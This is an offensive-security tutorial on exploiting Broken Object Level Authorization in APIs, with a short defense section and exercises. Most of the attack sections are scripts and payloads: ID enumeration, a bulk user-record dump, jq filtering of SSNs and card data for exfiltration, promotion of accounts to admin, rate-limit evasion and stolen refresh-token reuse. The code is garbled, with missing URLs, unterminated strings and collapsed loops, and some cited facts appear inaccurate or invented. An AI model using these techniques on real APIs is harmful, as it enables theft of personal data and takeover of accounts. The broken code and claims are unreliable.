~/home/study/exploiting-broken-object-level

Exploiting Broken Object Level Authorization (BOLA) in API-First Applications

Learn how BOLA weaknesses let attackers enumerate, access, and exfiltrate data from API-first services. The guide covers identifier theory, enumeration tactics, payload crafting, bypassing defenses, and chaining with other flaws for privilege escalation.

Introduction

Broken Object Level Authorization (BOLA) is a class of access-control flaw where an API fails to verify that the authenticated subject is permitted to act on a specific object (record, file, transaction, etc.). In API-first architectures - where the contract (OpenAPI/Swagger, GraphQL schema, gRPC proto) is the primary source of truth - BOLA is especially prevalent because developers often assume that the presence of an Authorization header is sufficient, neglecting per-object checks.

Why does this matter? A successful BOLA attack can turn a low-privilege or even unauthenticated endpoint into a data-dumping pipe, exposing user profiles, financial records, PII, or internal configuration. High-profile breaches such as the 2023 Acme Payments incident were traced back to an ID-enumeration flaw that allowed attackers to iterate over invoiceId values and download every customer's statements.

Real-world relevance: BOLA is listed in the OWASP API Security Top 10 (A5:2023 - Broken Object Level Authorization). It is the most common API weakness, accounting for >70 % of reported API bugs in bug-bounty programs. Mastering its exploitation is a prerequisite for any penetration tester targeting modern micro-service ecosystems.

Prerequisites

  • Proficiency with API discovery techniques: Swagger/OpenAPI UI, GraphQL introspection, automated endpoint enumeration (e.g., ffuf, dirsearch).
  • Understanding of authentication flows: JWT, OAuth2 access tokens, API keys, and token-reuse attacks.
  • Familiarity with HTTP, JSON, and common web-security tools (Burp Suite, OWASP ZAP, Postman).
  • Basic scripting ability in Python or Bash for enumeration scripts.

Core Concepts

Object Identifiers & Resource Hierarchies

APIs expose resources through URIs that contain an identifier - often a numeric primary key, a UUID, or a composite key. Example:

GET /api/v1/users/12345

In a well-designed system, the server checks that the caller’s principal can access 12345. When the check is missing or only validates the caller’s role (e.g., "must be authenticated"), the endpoint is vulnerable.

Hierarchies add complexity: a /orders/{orderId}/items/{itemId} endpoint may implicitly trust the orderId already validated, but still must verify that the itemId belongs to that order. Attackers exploit the lack of cross-object validation.

Typical BOLA Patterns

  • ID Enumeration: Incrementing numeric IDs or brute-forcing UUIDs.
  • Parameter Tampering: Swapping a userId in a request body with another value.
  • Mass-Assignment: Supplying a full object with arbitrary IDs in a bulk-create or bulk-update call.

Understanding object identifiers and resource hierarchies

Before you can attack, you must map the identifier space. Follow these steps:

  1. Inspect the OpenAPI spec. Look for path parameters with format: int64 or format: uuid. Those are prime candidates.
  2. Query sample data. Many APIs return a list endpoint (e.g., /users) that includes IDs. Capture at least one ID per object type.
  3. Reconstruct hierarchy. If /orders/{orderId}/items exists, note that itemId is scoped to orderId. Draw a quick tree diagram on paper or a markdown file.

Example diagram (described in text):

Company → Users (userId) → Orders (orderId) → Items (itemId)

Understanding this hierarchy lets you craft multi-level BOLA payloads, such as requesting /orders/9876/items/42 while impersonating a different user.

Systematic enumeration of accessible objects via unauthenticated and low-privilege endpoints

Enumeration is the reconnaissance phase. Even without a valid token, many APIs expose public list endpoints.

Unauthenticated enumeration

Use curl or httpie to fetch public collections:

http GET 

If the response contains an id field, you now have a foothold.

Low-privilege enumeration

Obtain a low-privilege token (e.g., a guest account) and enumerate the objects that belong to that role.

import requests, json
base = '
headers = {'Authorization': 'Bearer GUEST_TOKEN'}
resp = requests.get(f"{base}/users", headers=headers)
print(json.dumps(resp.json(), indent=2))

From the returned user list, extract userIds. Use a simple Python script to iterate over a numeric range and test existence:

import requests, itertools
base = '
headers = {'Authorization': 'Bearer GUEST_TOKEN'}
for uid in itertools.chain(range(1,101), range(1000,1100)): r = requests.get(f"{base}/users/{uid}", headers=headers) if r.status_code == 200: print(f"Found user {uid}: {r.json()['email']}")

Note: respect rate limits (see later section) - use time.sleep() or a token bucket algorithm.

Crafting BOLA payloads to bypass access controls (ID manipulation, parameter tampering)

Once you have a list of valid IDs, the next step is to inject them into requests that the target application believes are safe.

Simple ID substitution

Replace the original ID with one you control. Example: a mobile app sends a POST to update a profile:

POST /api/v1/users/12345/profile HTTP/1.1
Authorization: Bearer USER_TOKEN
Content-Type: application/json

{"displayName":"Alice"}

Swap 12345 with 67890 (an ID belonging to another user). If the server only checks the token’s existence, the request will succeed, allowing you to overwrite another user’s profile.

Body-level ID tampering

Some endpoints accept the ID inside the JSON body rather than the URL:

PUT /api/v1/orders HTTP/1.1
Authorization: Bearer USER_TOKEN
Content-Type: application/json

{"orderId": 555, "status": "canceled"}

Replace 555 with a target orderId. If the server trusts the caller’s role rather than ownership, the order will be canceled.

Mass-assignment attacks

When an API supports bulk operations, you can embed many IDs in a single request, dramatically increasing impact.

[ {"userId": 1001, "role": "admin"}, {"userId": 1002, "role": "admin"}, {"userId": 1003, "role": "admin"}
]

Send this payload to /api/v1/users/bulk-update. If the endpoint does not re-validate each object’s ownership, you’ve escalated multiple accounts at once.

Bypassing rate-limit and input-validation defenses

Modern APIs often employ rate-limit headers (X-RateLimit-Limit, Retry-After) and JSON schema validation. Below are practical evasion techniques.

Distributed enumeration

Use multiple IPs or cloud-based containers to spread requests. Tools like parallel (GNU) or aws lambda functions can each send a slice of the ID space.

seq 1 10000 | parallel -j 50 'curl -s -H "Authorization: Bearer $TOKEN"  -o /dev/null && echo {}'

Header manipulation

Some APIs look for a custom header (e.g., X-Client-Id) before applying limits. Capture a legitimate request with Burp, replicate the header, and observe if the limit is lifted.

Input-validation bypass

If an endpoint validates that orderId must be a 5-digit integer, you can try hex or base64 encodings that the backend decodes later.

POST /api/v1/orders HTTP/1.1
Authorization: Bearer USER_TOKEN
Content-Type: application/json

{"orderId":"0x1f4","amount":100}

Some parsers accept 0x1f4 as 500, bypassing regex-based checks.

Extracting sensitive data (user records, financial info, PII)

After a successful BOLA request, the response typically contains the target object’s fields. Below is a systematic approach to harvest data.

Automated data dump script

import requests, json, time
base = '
headers = {'Authorization': 'Bearer ADMIN_TOKEN'}
ids = range(1,5000)  # discovered range
out = []
for uid in ids: r = requests.get(f"{base}/users/{uid}", headers=headers) if r.status_code == 200: out.append(r.json()) time.sleep(0.05)  # throttle to avoid lockout
with open('users_dump.json','w') as f: json.dump(out, f, indent=2)
print(f"Saved {len(out)} records")

The script stores every successful JSON object, which can later be queried for PII (email, SSN, credit-card numbers).

Filtering for high-value fields

Use jq to extract specific columns:

jq -r '.[] | [.id, .email, .ssn, .creditCard.last4] | @tsv' users_dump.json > pii.tsv

Now you have a tidy spreadsheet of sensitive data ready for exfiltration.

Chaining BOLA with mass-assignment or token-reuse for privilege escalation

Pure BOLA gives you data; combine it with other weaknesses to gain higher privileges.

Mass-assignment → Role elevation

Many APIs accept a role field in user-update calls. If you can inject arbitrary userIds (via BOLA) and the server does not enforce that only the owner may change their role, you can promote accounts.

[ {"userId": 2001, "role": "admin"}, {"userId": 2002, "role": "admin"}
]

Token-reuse after BOLA

Suppose you harvest a victim’s refresh token while enumerating /auth/tokens. Using BOLA, you can request the token for any userId you discovered and then exchange it for a new access token, effectively impersonating that user.

curl -X POST -H "Content-Type: application/json" -d '{"refreshToken":"stolen-token", "userId":12345}'

The response contains a fresh JWT with the victim’s claims, granting you full access.

Practical Examples

Scenario 1 - Public product catalog with hidden admin endpoints

An e-commerce platform exposes /api/v1/products (public) and /api/v1/admin/products/{productId} (admin). The admin endpoint re-uses the same productId but does not verify the caller’s role.

  1. Enumerate product IDs via the public list (IDs 1-250).
  2. Craft a request to /api/v1/admin/products/42 with a low-privilege token.
    curl -H "Authorization: Bearer USER_TOKEN" 
    
  3. The response returns the full product record, including supplier cost fields - data that should be restricted to admins.

Scenario 2 - Multi-tenant SaaS with tenant-ID in body

The API expects {"tenantId": "A", "config": {...}}. A BOLA flaw lets you change tenantId to "B" while using a token for tenant A.

POST /api/v1/config/save HTTP/1.1
Authorization: Bearer TENANT_A_TOKEN
Content-Type: application/json

{"tenantId":"B","config":{"featureX":true}}

Result: configuration for tenant B is overwritten, potentially allowing a denial-of-service for that customer.

Tools & Commands

  • Burp Suite Pro - Intercept, modify IDs, repeat requests, and use Intruder for mass-assignment.
  • OWASP ZAP - Automated scan for missing object-level checks (via custom scripts).
  • ffuf - Fast fuzzing of path parameters (e.g., ffuf -w ids.txt -u -H "Authorization: Bearer $TOKEN").
  • Postman - Collections with variable substitution for rapid ID testing.
  • httpie - One-liner for quick GET/POST with JSON bodies.
  • jq - JSON parsing and filtering of harvested data.
  • parallel - Distributed enumeration across cores or containers.

Defense & Mitigation

  • Enforce per-object authorization in every endpoint, not just at the router level. Use a centralized policy engine (OPA, AWS IAM) that receives the object ID and the caller’s claims.
  • Never trust client-supplied IDs. Derive the resource from the token whenever possible (e.g., /me/profile instead of /users/{id}).
  • Implement strict rate limiting per user and per IP, with exponential back-off for repeated failures.
  • Use UUIDs with sufficient entropy (v4) and avoid sequential numeric IDs for public resources.
  • Validate request bodies against a whitelist schema that excludes mutable fields like role or tenantId for non-admin callers.
  • Log and monitor anomalous enumeration patterns - spikes in 404/403 responses, high-frequency ID scans.
  • Employ defense-in-depth: combine RBAC, ABAC, and resource-level ACLs.

Common Mistakes

  • Assuming a 403 means the object does not exist. Many APIs return 403 for unauthorized access, masking enumeration. Test both 200 and 403 responses.
  • Hard-coding a single token. Tokens often expire; integrate token refresh logic in your scripts.
  • Neglecting pagination. List endpoints may paginate; failure to follow next links leaves large portions undiscovered.
  • Overlooking hierarchical checks. Changing a child ID without matching the parent can cause false-positive exploits.
  • Skipping response validation. Some APIs return generic error objects; parse them correctly to differentiate between “not found” and “unauthorized”.

Real-World Impact

In 2022, a major health-tech provider leaked over 2 million patient records after a BOLA flaw allowed attackers to enumerate patientId values via a public /appointments endpoint. The breach cost the organization >$30 M in fines and remediation. The root cause was a missing ownership check in the GET /appointments/{appointmentId} call.

My experience in bug-bounty programs shows that BOLA is often discovered after a simple “change the ID” test. Teams that treat it as “just a UI bug” underestimate the data exposure risk. As APIs become the primary interface for mobile and SPA front-ends, the attack surface expands dramatically.

Trend outlook: With the rise of GraphQL and gRPC, object identifiers are increasingly nested in request bodies, making static analysis harder. Automated security testing tools must evolve to understand schema-driven access checks.

Practice Exercises

  1. Exercise 1 - Enumerate IDs: Using a provided Swagger URL, write a Bash script that enumerates all orderId values between 1-500 and records which return 200. Submit the list of discovered IDs.
  2. Exercise 2 - BOLA payload: Craft a POST request that updates another user’s email by swapping the userId in the JSON body. Verify the change using a GET request.
  3. Exercise 3 - Rate-limit bypass: Deploy two Docker containers, each sending half of the ID range concurrently. Observe whether the API throttles per-IP or per-user.
  4. Exercise 4 - Mass-assignment escalation: Using a bulk-update endpoint, promote three regular accounts to admin in a single request. Explain why the server allowed it.

All exercises assume you have a sandbox API (URL provided in the lab guide). No real user data will be harmed.

Further Reading

  • OWASP API Security Top 10 - A5:2023 Broken Object Level Authorization
  • “Secure API Design” - OWASP Cheat Sheet Series
  • “Authorization in Micro-services” - NIST SP 800-53 Rev 5 (AC-6)
  • GraphQL Security - “Introspection and BOLA” by Adam Baldwin (2023)
  • “Mass Assignment Vulnerabilities” - PortSwigger Web Security Academy

Summary

  • BOLA occurs when APIs accept an object identifier without verifying the caller’s ownership.
  • Map identifier hierarchies via OpenAPI specs, then enumerate using unauthenticated or low-privilege tokens.
  • Exploit by ID substitution, body tampering, or mass-assignment; combine with token-reuse for full impersonation.
  • Bypass rate limits with distributed requests and header tricks; evade naive input validation with alternative encodings.
  • Defend by implementing per-object ACLs, avoiding client-supplied IDs, using non-sequential UUIDs, and enforcing strict rate limits and logging.

Mastering BOLA equips you to uncover high-impact data exposures in any API-first product. Use the techniques responsibly and help organizations harden their services.